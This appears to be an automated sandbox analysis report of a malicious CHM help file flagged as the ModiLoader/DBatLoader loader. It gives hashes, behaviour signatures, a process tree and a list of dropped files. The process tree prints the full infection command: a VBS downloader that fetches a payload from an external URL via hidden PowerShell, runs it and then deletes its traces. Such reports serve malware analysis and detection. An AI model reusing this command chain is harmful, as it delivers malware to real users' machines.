Analysis

  • max time kernel
    118s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    18-01-2025 13:30

General

  • Target

    tmpapw1h1a2.chm

  • Size

    75KB

  • MD5

    0e7a4e127728e1e48a95c1928606c0af

  • SHA1

    ec2a102bdda50542f50d4f64f71c48bb9ffea693

  • SHA256

    6f11bddb792856673d09d12e15662d70fa98d16da50d28b21aba4873b6c75fc9

  • SHA512

    7edc1f22041efb93b28e8bfcf9762d3b623f85f43e0bbec32353156e536551be8484394ee8250c3844099ae73bba664acd780c71efa5cc3c3b0748b5539b9c2a

  • SSDEEP

    1536:d4bv2j4YkkT/O1Kr426/wtN7NctHKfTKPG4vWl/Mf9ZViM59gp/:SbqoL1C4ytNMqfmPGd69/C5

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Modiloader family
  • ModiLoader Second Stage 61 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 6 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Hide Artifacts: Hidden Window 1 TTPs 1 IoCs

    Windows that would typically be displayed when an application carries out an operation can be hidden.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Kills process with taskkill 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 42 IoCs

Processes

  • C:\Windows\hh.exe
    "C:\Windows\hh.exe" C:\Users\Admin\AppData\Local\Temp\tmpapw1h1a2.chm
    1⤵
    • Modifies Internet Explorer settings
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:784
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c extrac32 /y /C C:\Windows\system32\cscript.exe C:\\Users\\Public\\ript.exe > nul && echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >>C:\\Users\\Public\\aloha.vbs & powershell.exe -WindowStyle hidden -inputformat none -outputformat none -NonInteractive -Command "C:\\Users\\Public\\ript.exe C:\\Users\\Public\\aloha.vbs https://projectvends.org/WPS/PS.cmd C:\\Users\\Public\\df.cmd" & powershell.exe -WindowStyle hidden -inputformat none -outputformat none -NonInteractive -Command "start C:\\Users\\Public\\df.cmd ;Break" & del /q "C:\Users\Public\ript.exe" / A / F / Q / S >nul & del /q "C:\Users\Public\aloha.vbs" / A / F / Q / S >nul & taskkill /F /IM hh.exe & exit
      2⤵
      • Hide Artifacts: Hidden Window
      • Suspicious use of WriteProcessMemory
      PID:2900
      • C:\Windows\system32\extrac32.exe
        extrac32 /y /C C:\Windows\system32\cscript.exe C:\\Users\\Public\\ript.exe
        3⤵
          PID:2252
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -WindowStyle hidden -inputformat none -outputformat none -NonInteractive -Command "C:\\Users\\Public\\ript.exe C:\\Users\\Public\\aloha.vbs https://projectvends.org/WPS/PS.cmd C:\\Users\\Public\\df.cmd"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Loads dropped DLL
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2128
          • C:\Users\Public\ript.exe
            "C:\Users\Public\ript.exe" C:\\Users\\Public\\aloha.vbs https://projectvends.org/WPS/PS.cmd C:\\Users\\Public\\df.cmd
            4⤵
            • Executes dropped EXE
            • Modifies system certificate store
            PID:2952
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -WindowStyle hidden -inputformat none -outputformat none -NonInteractive -Command "start C:\\Users\\Public\\df.cmd ;Break"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1684
          • C:\Windows\system32\cmd.exe
            cmd /c ""C:\Users\Public\df.cmd" "
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2064
            • C:\Windows\system32\extrac32.exe
              extrac32 /y "C:\Users\Public\df.cmd" "C:\Users\Admin\AppData\Local\Temp\x.exe"
              5⤵
                PID:1656
              • C:\Users\Admin\AppData\Local\Temp\x.exe
                "C:\Users\Admin\AppData\Local\Temp\x.exe"
                5⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Adds Run key to start application
                • Suspicious use of SetThreadContext
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: CmdExeWriteProcessMemorySpam
                • Suspicious use of WriteProcessMemory
                PID:1184
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c ""C:\Users\Public\WbckutgxF.cmd" "
                  6⤵
                  • System Location Discovery: System Language Discovery
                  PID:2196
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c C:\Users\Public\Libraries\FX.cmd
                  6⤵
                  • System Location Discovery: System Language Discovery
                  PID:2624
                  • C:\Windows \SysWOW64\svchost.pif
                    "C:\Windows \SysWOW64\svchost.pif"
                    7⤵
                    • Executes dropped EXE
                    PID:2636
                  • C:\Windows \SysWOW64\svchost.pif
                    "C:\Windows \SysWOW64\svchost.pif"
                    7⤵
                    • Executes dropped EXE
                    PID:2768
                • C:\Users\Public\Libraries\xgtukcbW.pif
                  C:\Users\Public\Libraries\xgtukcbW.pif
                  6⤵
                  • Executes dropped EXE
                  PID:1972
          • C:\Windows\system32\taskkill.exe
            taskkill /F /IM hh.exe
            3⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2840

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\x.exe

        Filesize

        973KB

        MD5

        72d63924b474c076c3f54e556dcd3f8b

        SHA1

        bf448f7c1d3a8906b6c697d2f2dadf58e56f7bbf

        SHA256

        d78342ca78b975e822d380ccf2d2e8ec9dc910f91eefdeb049f28e7c97598c68

        SHA512

        b846ade542938e2b70375620c3d2b8e8c28b1232cbf3d11c62ba21109a2d1b1733b5951ba57f1369532bc5fd75cc7466eb8552bf8d439c39418048446aebba55

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

        Filesize

        7KB

        MD5

        68dbfbb501b0fd2a5c93b188fbba99ee

        SHA1

        46935c34286e3e7420bef5f1454342ea671376e2

        SHA256

        c74e8c3a7a860bb7bfb3c97e82e6a1bfbcedb897c71f2b29173067038e2ce9b8

        SHA512

        5015189c20ec737c85452d338c430defaa9f7e09aadc8a1c4cb06d221a63e77874c040122c2d92f6dfb11a26293ef6e8d7b92549c5ac5c89931fef6a75de365a

      • C:\Users\Public\Libraries\FX.cmd

        Filesize

        8KB

        MD5

        7821e3de3812e791cf3b223500d73bc9

        SHA1

        5e211b634ce77e6fee83ce8a5b8c9a37c8b81e1d

        SHA256

        3daa7f9eee129f61f7a452f7150ee21a1c4141586a37f37842b9c3bb53152a74

        SHA512

        6eae270065401626df97b73a255578bf27b4f4dea480954843823046ad95e40cf706c1a767c8765ef3ab48ea3a18498375614317ec00a9ef29a4dd21edbc5f26

      • C:\Users\Public\WbckutgxF.cmd

        Filesize

        11KB

        MD5

        f82aeb3b12f33250e404df6ec873dd1d

        SHA1

        bcf538f64457e8d19da89229479cafa9c4cce12f

        SHA256

        23b7417b47c7efb96fb7ce395e325dc831ab2ee03eadda59058d31bdbe9c1ea6

        SHA512

        6f9d6daeed78f45f0f83310b95f47cc0a96d1db1d7f6c2e2485d7a8ecb04fee9865eec3599fee2d67f3332f68a70059f1a6a40050b93ef44d55632c24d108977

      • C:\Users\Public\aloha.vbs

        Filesize

        194B

        MD5

        71efa4ec6c67fa5665b1d0c64d60fc25

        SHA1

        f546eda2b94df327b7ad5fa5bb0ba20cd37b2623

        SHA256

        08212be8f6fd3d4312f20a7604807c04da643333f07267c7e9713a452e079898

        SHA512

        7b1bbbb23e21cd011964397860b1cf5bdebbd20b6b3d5317c13ff5b3bdb0223a51c036be2b730254c11725a69c34ab90d2ae24872af788e076914364a82b31d6

      • C:\Users\Public\df.cmd

        Filesize

        973KB

        MD5

        fe9ba1e63886404362429422d9ec8846

        SHA1

        2e118b88683977b9b837a8f7211e49fb9ef966f9

        SHA256

        95e4f54d453befb480ab80aaa19d334064a1655f4c00ab2212bb1b34044809a8

        SHA512

        2bf72df9a3e925b188e0d04bede8103b0f585788c0ca9664ffb55facd095e557906d08769d6c154d9992378a0a936607bcdb587b7670447a9a64955b892ce696

      • C:\Users\Public\ript.exe

        Filesize

        152KB

        MD5

        791af7743252d0cd10a30d61e5bc1f8e

        SHA1

        70096a77e202cf9f30c064956f36d14bcbd8f7bb

        SHA256

        e34910c8c4f2051b1b87f80e9b389dfe3583bb3e4da909bb2544f22c2d92cf15

        SHA512

        d564f20748189de62525d2c0d4a199a272e3b273a38bd2ccd0bd7f9141f118eae08223b2a0739cd9bdf73234a0f0fb3566eaf88884462e494d44617bd9ac3ccb

      • C:\Windows \SysWOW64\svchost.pif

        Filesize

        94KB

        MD5

        869640d0a3f838694ab4dfea9e2f544d

        SHA1

        bdc42b280446ba53624ff23f314aadb861566832

        SHA256

        0db4d3ffdb96d13cf3b427af8be66d985728c55ae254e4b67d287797e4c0b323

        SHA512

        6e775cfb350415434b18427d5ff79b930ed3b0b3fc3466bc195a796c95661d4696f2d662dd0e020c3a6c3419c2734468b1d7546712ecec868d2bbfd2bc2468a7

      • \Users\Public\Libraries\xgtukcbW.pif

        Filesize

        171KB

        MD5

        22331abcc9472cc9dc6f37faf333aa2c

        SHA1

        2a001c30ba79a19ceaf6a09c3567c70311760aa4

        SHA256

        bdfa725ec2a2c8ea5861d9b4c2f608e631a183fca7916c1e07a28b656cc8ec0c

        SHA512

        c7f5baad732424b975a426867d3d8b5424aa830aa172ed0ff0ef630070bf2b4213750e123a36d8c5a741e22d3999ca1d7e77c62d4b77d6295b20a38114b7843c

      • memory/1184-73-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-101-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-64-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-76-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-115-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-114-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-113-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-111-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-108-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-107-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-106-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-104-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-103-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-102-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-99-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-98-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-97-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-95-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-94-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-91-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-90-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-88-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-87-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-85-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-83-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-82-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-81-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-79-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-75-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-74-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-72-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-70-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-110-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-66-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-67-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-92-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-84-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-78-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-71-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-141-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-137-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-134-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-130-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-128-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-69-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-123-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-119-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-116-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-112-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-109-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-105-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-68-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-100-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-96-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-93-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-89-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-86-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-65-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-80-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-77-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-62-0x0000000000400000-0x00000000004FC000-memory.dmp

        Filesize

        1008KB

      • memory/1184-60-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1184-59-0x00000000030A0000-0x00000000040A0000-memory.dmp

        Filesize

        16.0MB

      • memory/1684-51-0x000000001B7F0000-0x000000001BAD2000-memory.dmp

        Filesize

        2.9MB

      • memory/1684-52-0x00000000027E0000-0x00000000027E8000-memory.dmp

        Filesize

        32KB

      • memory/2128-13-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

        Filesize

        2.9MB

      • memory/2128-22-0x0000000001F50000-0x0000000001F58000-memory.dmp

        Filesize

        32KB